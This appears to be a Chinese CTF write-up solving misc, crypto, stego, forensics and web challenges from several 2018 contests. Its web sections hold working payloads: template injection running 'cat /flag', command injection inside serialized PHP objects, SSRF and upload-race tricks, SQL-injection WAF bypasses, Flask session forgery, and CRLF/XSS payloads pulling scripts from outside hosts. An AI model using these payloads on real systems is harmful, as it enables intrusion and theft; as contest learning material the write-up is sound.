省赛_上海大学生ctf_HCTF wp
省赛科来杯
Misc
Crack it
给了个shadow文件,使用john
(kali自带)破解
进制转换
写python脚本转化下
1 | f = open('text.txt', 'r') |
basic
给的文件里都是坐标,一开始以为要画一个二维码,一直画不出来,后来才意识到不是正方形,浪费了很长时间,写脚本写到心态有点炸
1 | from PIL import Image |
Crypto
affine
仿射加密
1 | m = 'szzyfimhyzd' |
rsa
e很大,winner attack
神秘的代码
提示异或,把给的两个文件异或下
1 | a = open('info_clear.txt','rb').read() |
得到
1 | i am a hydre agenT, coverly spying on the superHeroes. I am aware of the group that iS going to aTtack you...but Hydra has had its diffErences with you in the past, so i'm not going to maKe it vEry simple for You ....ecb...aes(I Vouch for this: 12345)...md5(this)...base64... |
有几个大写字母,比较诡异,提出来能组成THISTHEKEYIV
aes解密,ecb模式
然后不会了
Stego
啊哒
图片分离出zip压缩包,有密码
在给的图片的照相机信息里有一串字符串73646E6973635F32303138
,16进制转字符串sdnisc_2018
,就是压缩包的密码
colors
给了七张图
用stegsolve看下发现每张图都藏着字母,组合起来MakeMetall
把图像高度变高,发现图片下边都有黑白方块,想到二进制转为01
但是。。。是竖着读的
1 | 1 1 1 1 1 1 1 1 0 1 0 1 1 1 1 0 1 1 1 1 |
神秘的文件
zip明文攻击
Forensic
特殊后门
icmp方式中有一句flagishere,flag就在这条上边的记录里,一个一个字拼起来得到flag
日志分析
sql盲注注入的日志,找到最后二十五条,得到flag每位的asc码
Web
babyweb
改xff头,cookie
babyweb2
1 | <?php |
parse_str变量覆盖
1 | http://47.105.148.65:29002/?id=key[99]=s1091221200a |
然后是一个上传数据的页面,上传完访问提示too slow
,说明要快点访问到
burp不断发访问文件的数据包,再发一个上传文件的数据包,得到flag
easy_flask
sql注入+模板注入
1 | {{[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}} |
2018 上海市大学生网络安全大赛线上
web1 what are you doing?
最后一步ssrf
1 | url=file://www.ichunqiu.com/../var/www/html/flag.php |
1 | url=file://@127.0.0.1:80@www.ichunqiu.com/./..//var/www/html/flag.php |
web2 Can you hack me?
1 | <?php |
first=doller&a=var=give%26bbb=me%26ccc=flag
变量覆盖
然后构造反序列化执行命令
双写flag绕过
1 | come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{i:0;s:19:"2&&cat$IFS/flflagag";}} |
分割flag
1 | come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:20:"123&cat${IFS}/fl""ag";}}123 |
键值为0
或者host
都可以,注意private
变量序列化后会加上类名和不可见字符\00
1 | class daolgts{ |
web3 GOOD JOB
1 | <?php |
首先数组绕过
1 | if($ext==$filename[count($filename) - 1]){ |
上传file[0]和file[2],count()函数会记为2,$filename[count($filename) - 1]就是$file[1],而$file[1]是没有的,也就是空,if语句判断为假,不会执行die
测试一下
1 | echo $ext; |
然后用 /.
绕过 unlink
1 | POST /upload.php?cmd=system('cat+/flag'); HTTP/1.1 |
web4
sql盲注
HCTF
Web
Warmup
1 | <?php |
1 | http://warmup.2018.hctf.io/index.php?file=hint.php%253f../../../../../ffffllllaaaagggg |
kzone
模仿扣扣空间的钓鱼网站,扫目录扫到www.zip
,得到源码
在member.php
中
1 | if (isset($_COOKIE["islogin"])) { |
login_data
是从cookie
中读入然后json_decode
得到,而在sql语句中用到了cookie传的值,cookie是可控的,存在注入,可以进行盲注
在safe.php
中,有waf对输入的参数过滤
1 | function waf($string) |
- 直接绕过
or
被过滤,information_schema
不能用,用mysql.innodb_table_stats
来查数据库名表名,发现F1444g表
1 | import requests |
- 利用json_decode解unicode绕过
waf函数作用在json_decode
之前,所以利用unicode字符可以绕过
u
->\u0075
等
exp1
1 | #!/usr/bin/python |
exp2
1 | import requests |
- sqlmap tamper脚本
对payload编码
1 | #!/usr/bin/env python |
admin
1 | view-source:http://admin.2018.hctf.io/change |
1 | def strlower(username): |
这个函数在处理unicode字符时会有问题
转为小写在注册时会调用一次,更改密码时也会调用一次
https://paper.tuisec.win/detail/a9ad1440249d95b
ᴀ -> A -> a
注册用户ᴀdmin
登录用户ᴀdmin,变成Admin
修改密码Admin,更改了admin的密码
bottle
bottle的crlf注入
https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
跳转地址的端口要小于80
payloads:
1 | http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%250aContent-Type:text/html%250aContent-Security-Policy:script-src%2520*%250a%250a%3Cscript/src=http://zzm.cat/1.js%3E%3C/script%3E |
payload:
1 | POST /user HTTP/1.1 |
让服务器去访问http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:300%0d%0a%0d%0a%3Cscript%20src=http://t.cn/EAQiR7C%3E%3C/script%3E
模拟服务器端访问:
hide and seek
/etc/nginx/nginx.conf
1 | user nginx; worker_processes auto; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; keepalive_timeout 65; #gzip on; include /etc/nginx/conf.d/*.conf; } daemon off; |
/etc/nginx/conf.d/nginx.conf
1 | server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } } |
/proc/self/environ
1 | UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=82f971e4a9a6SHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0 |
发现/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
1 | [uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app |
/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
1 | # -*- coding: utf-8 -*- |
1 | random.seed(uuid.getnode()) |
发现随机数的种子用的是mac地址,可以预测secret_key
读mac地址 /sys/class/net/eth0/address
1 | 12:34:3e:14:7c:62 |
得到secret_key
1 | In [1]: 0x12343e147c62 |
本地flask生成session
1 | #encoding: utf-8 |
得到
1 | eyJ1c2VybmFtZSI6ImFkbWluIn0.DsvSKw.JApw9RQgfbmB0JSG-C2iAaNXgKA |
更改session得到flag
game
打开有一个rank list
可以按password排序
http://game.2018.hctf.io/web2/user.php?order=password
注册不同密码的用户,根据注册的用户和admin的顺序先后能猜测出admin的密码
exp1
1 | import requests |
exp2
1 | import requests |
Misc
easy_dump
用gimp来将内存视为raw图片来看内存中的贴图
1 | 查看信息 |
后缀名改为data,gimp2打开
处理一下
difficult_programming_language
解usb数据包得到
1 | D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~ |
Malbolge语言在线运行
hctf{m4lb0lGe}
Crypto
xor_game
flag作为xor的key重复使用加密明文
利用xortool猜测key的长度和key值
先处理数据,base64解码后转为16进制
1 | cat cipher.txt |base64 -d | hex > out.txt |
1 | xortool -x -l 21 -c ' ' ../out.txt |
得出的key大概是是xo7\x1ai6_i+te7es1ing!@#
,看着修一修得到xor_is_interesting!@#
,与密文异或得到可读的诗说明正确
1 | import base64 |
xor_rsa
1 | from Crypto.Util.number import * |
p,q是1024位的质数
n是2048位,e=5
nbits=size(n)=2048
kbits=2048//(2*5*5)=40
m1 = getRandomNBitInteger(nbits)
m2 = m1 ^ getRandomNBitInteger(kbits)
m1,m2只有前40位不同,长度过短,会造成短填充攻击
m2和m1可以考虑为m1的高2008个bit经过填充获得
可以求得m1-m2的差值diff
知道c1、c2、diff、e、n可以进行相关信息攻击
得到m1,m2发送过去即可得到flag
使用Coppersmith's Short Pad Attack
和Franklin-Reiter Related Message Attack
来恢复m1和m2
exp1
1 | # coppersmiths_short_pad_attack.sage |
exp2
1 | def franklinReiter(n,e,r,c1,c2): |
exp3
1 | def composite_gcd(g1,g2): |
参考: